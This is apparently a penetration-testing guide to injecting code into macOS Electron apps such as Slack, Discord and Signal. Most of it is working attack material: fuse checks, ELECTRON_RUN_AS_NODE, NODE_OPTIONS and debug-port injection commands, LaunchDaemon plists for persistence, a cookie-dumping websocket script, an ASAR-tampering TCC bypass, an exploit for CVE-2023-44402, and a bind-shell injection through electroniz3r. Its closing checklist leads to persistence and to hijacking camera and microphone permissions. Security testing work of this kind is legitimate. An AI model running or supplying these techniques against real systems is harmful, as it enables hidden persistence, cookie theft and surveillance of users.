macOS Electron Applications Injection
A comprehensive guide for security testing Electron applications on macOS, covering fuse analysis, code injection techniques, persistence mechanisms, and privilege escalation.
Quick Start
# Check if an Electron app has vulnerable fuses
npx @electron/fuses read --app /Applications/Slack.app
# List all installed Electron apps
find /Applications -name "*.app" -exec grep -l "Electron" {} \; 2>/dev/null
Understanding Electron Fuses
Electron Fuses are security flags that prevent code injection. Check them first before attempting any technique.
Critical Fuses
| Fuse | When Disabled | When Enabled |
|---|---|---|
RunAsNode |
Allows ELECTRON_RUN_AS_NODE injection |
Blocks Node.js mode |
EnableNodeCliInspectArguments |
Allows --inspect, --inspect-brk |
Blocks debug flags |
EnableEmbeddedAsarIntegrityValidation |
ASAR files not validated | ASAR integrity checked |
OnlyLoadAppFromAsar |
Can load from app/ folder |
Only loads app.asar |
EnableNodeOptionsEnvironmentVariable |
Allows NODE_OPTIONS |
Blocks NODE_OPTIONS |
Check Fuses
# Using official tool
npx @electron/fuses read --app /Applications/Slack.app
# Manual check - find the fuse string in binary
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" /Applications/Slack.app/
The fuse configuration is stored in the Electron binary, typically at:
application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
Injection Techniques
Technique 1: ELECTRON_RUN_AS_NODE
Requires: RunAsNode fuse disabled
# Launch as Node.js process
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then in the Node.js console:
require('child_process').execSync('/bin/bash -c "whoami"')
Persistence via LaunchDaemon:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.electron.inject</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>require('child_process').execSync('YOUR_PAYLOAD')</string>
</array>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Technique 2: NODE_OPTIONS
Requires: EnableNodeOptionsEnvironmentVariable disabled OR ELECTRON_RUN_AS_NODE=1 set
# Create payload file
cat > /tmp/payload.js << 'EOF'
require('child_process').execSync('YOUR_COMMAND');
EOF
# Execute with NODE_OPTIONS
NODE_OPTIONS="--require /tmp/payload.js" \
ELECTRON_RUN_AS_NODE=1 \
/Applications/Discord.app/Contents/MacOS/Discord
Persistence via LaunchDaemon:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.electron.nodeoptions</string>
<key>RunAtLoad</key>
<true/>
</dict>
Technique 3: Debug Port Injection
Requires: EnableNodeCliInspectArguments disabled OR ELECTRON_RUN_AS_NODE=1 set
# Launch with debug port
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Or use remote debugging port
/Applications/Signal.app/Contents/MacOS/Signal --remote-debugging-port=9229
Connect via Chrome DevTools:
- Open
chrome://inspect - Connect to
127.0.0.1:9229 - Execute JavaScript in console:
require('child_process').execSync('YOUR_COMMAND')
Cookie Dumping Script:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9229/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{"id": 1, "method": "Network.getAllCookies"}')
print(ws.recv())
Persistence via LaunchDaemon:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.electron.inspect</string>
<key>RunAtLoad</key>
<true/>
</dict>
Technique 4: ASAR File Modification
Requires: OnlyLoadAppFromAsar disabled OR EnableEmbeddedAsarIntegrityValidation disabled
# Extract ASAR file
npx asar extract /Applications/Slack.app/Contents/Resources/app.asar /tmp/app-decomp
# Modify files in /tmp/app-decomp
# Add malicious code to main.js or preload.js
# Repack ASAR
npx asar pack /tmp/app-decomp /tmp/app-new.asar
# Replace (requires TCC permissions or copy to /tmp)
cp /tmp/app-new.asar /Applications/Slack.app/Contents/Resources/app.asar
TCC Bypass Method:
# Copy app to /tmp to bypass TCC check
cp -r /Applications/Slack.app /tmp/Slack.app
# Rename Contents folder temporarily
mv /tmp/Slack.app/Contents /tmp/Slack.app/NotCon
# Modify ASAR file
cd /tmp/Slack.app/NotCon/Resources
npx asar extract app.asar app-decomp
# ... modify files ...
npx asar pack app-decomp app.asar
# Restore folder name
mv /tmp/Slack.app/NotCon /tmp/Slack.app/Contents
# Execute from /tmp
/tmp/Slack.app/Contents/MacOS/Slack
TCC Bypass Techniques
Method 1: Older Version Abuse
The TCC daemon doesn't check the executed version. Download an older version of the app and inject code - it will still have TCC privileges.
# Download older version from archive
# Inject code into older version
# Execute - inherits TCC permissions from original
Method 2: Child Process Inheritance
Child processes run under the same sandbox profile and inherit TCC permissions:
// From within Electron process
const { spawn } = require('child_process');
spawn('/path/to/binary', [], {
stdio: 'inherit'
});
// This binary inherits camera/microphone permissions
Known Vulnerabilities
CVE-2023-44402 - ASAR Integrity Bypass
Affected: Electron ≤22.3.23, various 23-27 pre-releases
Exploit: Create a directory named app.asar instead of archive:
# In Contents/Resources/
mkdir app.asar
# Place malicious JS files inside
# App will load directory instead of validated archive
Patched in: 22.3.24, 24.8.3, 25.8.1, 26.2.1, 27.0.0-alpha.7
CVE-2024-23738 to CVE-2024-23743 - RunAsNode Cluster
Many Electron apps ship with RunAsNode and EnableNodeCliInspectArguments fuses enabled, allowing local attackers to:
- Relaunch with
ELECTRON_RUN_AS_NODE=1 - Use
--inspect-brkfor code injection - Inherit all sandbox and TCC permissions
Mitigation: Disable these fuses in production builds.
Automated Tools
electroniz3r
# List all Electron apps
./electroniz3r list-apps
# Check if app is vulnerable
./electroniz3r verify "/Applications/Discord.app"
# Inject predefined payload
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
# Custom payload
./electroniz3r inject "/Applications/Discord.app" --script /path/to/payload.js
Loki
Backdoors Electron applications by replacing JavaScript files with C2 files.
Workflow Checklist
Identify Electron Apps
find /Applications -name "*.app" -type dCheck Fuses
npx @electron/fuses read --app /Applications/Target.appSelect Technique Based on Fuses
RunAsNodedisabled → UseELECTRON_RUN_AS_NODEEnableNodeCliInspectArgumentsdisabled → Use--inspectOnlyLoadAppFromAsardisabled → Modify ASAR- All fuses enabled → Try TCC bypass or older version
Execute Injection
- Use appropriate technique from above
- Verify code execution
Establish Persistence (if needed)
- Create LaunchDaemon plist
- Place in
~/Library/LaunchDaemons/or/Library/LaunchDaemons/
Leverage TCC Permissions
- Access camera, microphone, contacts, etc.
- Run binaries that inherit permissions
Common Electron Applications
| App | Bundle ID | Path |
|---|---|---|
| Slack | com.tinyspeck.slackmacgap | /Applications/Slack.app |
| Discord | com.hnc.Discord | /Applications/Discord.app |
| VS Code | com.microsoft.VSCode | /Applications/Visual Studio Code.app |
| Signal | org.whispersystems.signal-desktop | /Applications/Signal.app |
| Docker | com.electron.dockerdesktop | /Applications/Docker.app |
| GitHub Desktop | com.github.GitHubClient | /Applications/GitHub Desktop.app |
| Postman | com.postmanlabs.mac | /Applications/Postman.app |
Safety Notes
- Legal Use Only: These techniques are for authorized security testing only
- TCC Permissions: Modifying apps in
/ApplicationsrequireskTCCServiceSystemPolicyAppBundlespermission - Code Signing: Modified apps may fail code signature validation
- Backup: Always backup original files before modification
- Testing: Test in isolated environments before production use